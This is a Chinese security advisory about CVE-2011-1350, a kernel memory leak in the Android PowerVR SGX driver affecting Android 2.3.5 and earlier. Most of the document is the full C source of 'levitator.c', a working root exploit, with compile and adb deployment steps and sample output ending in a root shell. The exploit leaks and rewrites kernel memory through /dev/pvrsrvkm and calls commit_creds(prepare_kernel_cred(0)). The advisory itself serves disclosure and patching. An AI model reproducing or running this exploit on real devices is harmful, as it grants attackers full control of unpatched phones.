Android PowerVR SGX Driver信息泄露漏洞(CVE-2011-1350)
Android PowerVR SGX Driver信息泄露漏洞(CVE-2011-1350)
发布日期：2011-11-03
更新日期：2013-03-07
受影响系统：
Android Open Handset Alliance Android <= 2.3.5
描述：
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BUGTRAQ ID: 57900
CVE(CAN) ID: CVE-2011-1350
Android是基于Linux开放性内核的操作系统，是Google公司在2007年11月5日公布的手机操作系统。
Android 2.3.5 及之前版本内的PowerVR SGX驱动程序允许攻击者获取内核栈内存敏感信息，受害者打开恶意Android应用后，其中含有特制长度参数的pvrsrvkm设备请求可造成敏感信息泄露。
<*来源：Geremy Condra
链接：https://code.google.com/p/android/issues/detail?id=21522
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
* levitator.c
*
* Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
* Jon Larimer <jlarimer@gmail.com>
* Jon Oberheide <jon@oberheide.org>
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
*
* CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
* to privilege escalation. Any user with access to /dev/pvrsrvkm can use
* this bug to obtain root privileges on an affected device.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
*
* CVE-2011-1350 allows leaking a portion of kernel memory to user mode
* processes. This vulnerability exists because of improper bounds checking
* when returning data to user mode from an ioctl system call.
*
* Usage:
*
* $ CC="/path/to/arm-linux-androideabi-gcc"
* $ NDK="/path/to/ndk/arch-arm"
* $ CFLAGS="-I$NDK/usr/include/"
* $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
* $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
* $ adb push levitator /data/local/tmp/
* $ adb shell
* $ cd /data/local/tmp
* $ ./levitator
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xc00770dc
* [+] resolved symbol prepare_kernel_cred to 0xc0076f64
* [+] resolved symbol dev_attr_ro to 0xc05a5834
* [+] opening prvsrvkm device...
* [+] dumping kernel memory...
* [+] searching kmem for dev_attr_ro pointers...
* [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
* [+] clobbering kmem with poisoned pointers...
* [+] triggering privesc via block ro sysfs attribute...
* [+] restoring original dev_attr_ro pointers...
* [+] restored 16 dev_attr_ro pointers!
* [+] privileges escalated, enjoy your shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The vulnerability affects Android devices with the PowerVR SGX chipset
* which includes popular models like the Nexus S and Galaxy S series. The
* vulnerability was patched in the Android 2.3.6 OTA update.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE 161920
typedef struct {
uint32_t ui32BridgeID;
uint32_t ui32Size;
void *pvParamIn;
uint32_t ui32InBufferSize;
void *pvParamOut;
uint32_t ui32OutBufferSize;
void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
commit_creds(prepare_kernel_cred(0));
return sprintf(buf, "0wned\n");
}
struct attribute {
const char *name;
void *owner;
mode_t mode;
};
struct device_attribute {
struct attribute attr;
ssize_t (*show)(void *dev, void *attr, char *buf);
ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};
struct device_attribute fake_dev_attr_ro = {
.attr = {
.name = "ro",
.mode = S_IRWXU | S_IRWXG | S_IRWXO,
},
.show = fake_disk_ro_show,
.store = NULL,
};
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
return addr;
}
}
return 0;
}
int
do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
{
PVRSRV_BRIDGE_PACKAGE pkg;
memset(&pkg, 0, sizeof(pkg));
pkg.ui32BridgeID = CONNECT_SERVICES;
pkg.ui32Size = sizeof(pkg);
pkg.ui32InBufferSize = in_size;
pkg.pvParamIn = in;
pkg.ui32OutBufferSize = out_size;
pkg.pvParamOut = out;
return ioctl(fd, 0, &pkg);
}
int
main(int argc, char **argv)
{
DIR *dir;
struct dirent *dentry;
int fd, ret, found, trigger;
char *dump, *dump_end, buf[8], path[256];
unsigned long dev_attr_ro, *ptr;
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
dev_attr_ro = get_symbol("dev_attr_ro");
if (!dev_attr_ro) {
printf("[-] dev_attr_ro symbol not found, aborting!\n");
exit(1);
}
printf("[+] opening prvsrvkm device...\n");
fd = open("/dev/pvrsrvkm", O_RDWR);
if (fd == -1) {
printf("[-] failed opening pvrsrvkm device, aborting!\n");
exit(1);
}
printf("[+] dumping kernel memory...\n");
dump = malloc(DUMP_SIZE + 0x1000);
dump_end = dump + DUMP_SIZE + 0x1000;
memset(dump, 0, DUMP_SIZE + 0x1000);
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] searching kmem for dev_attr_ro pointers...\n");
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == dev_attr_ro) {
*ptr = (unsigned long) &fake_dev_attr_ro;
found++;
}
}
printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro!\n", found);
if (found == 0) {
printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
exit(1);
}
printf("[+] clobbering kmem with poisoned pointers...\n");
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] triggering privesc via block ro sysfs attribute...\n");
dir = opendir("/sys/block");
if (!dir) {
printf("[-] failed opening /sys/block, aborting!\n");
exit(1);
}
found = 0;
while ((dentry = readdir(dir)) != NULL) {
if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
continue;
}
snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
trigger = open(path, O_RDONLY);
if (trigger == -1) {
printf("[-] failed opening ro sysfs attribute, aborting!\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret = read(trigger, buf, sizeof(buf));
close(trigger);
if (strcmp(buf, "0wned\n") == 0) {
found = 1;
break;
}
}
if (found == 0) {
printf("[-] could not trigger privesc payload, aborting!\n");
exit(1);
}
printf("[+] restoring original dev_attr_ro pointers...\n");
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == (unsigned long) &fake_dev_attr_ro) {
*ptr = (unsigned long) dev_attr_ro;
found++;
}
}
printf("[+] restored %d dev_attr_ro pointers!\n", found);
if (found == 0) {
printf("[-] could not restore any pointers, aborting!\n");
exit(1);
}
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] privileges escalated, enjoy your shell!\n");
execl("/system/bin/sh", "sh", NULL);
return 0;
}
建议：
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厂商补丁：
Android
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.openhandsetalliance.com/android_overview.html
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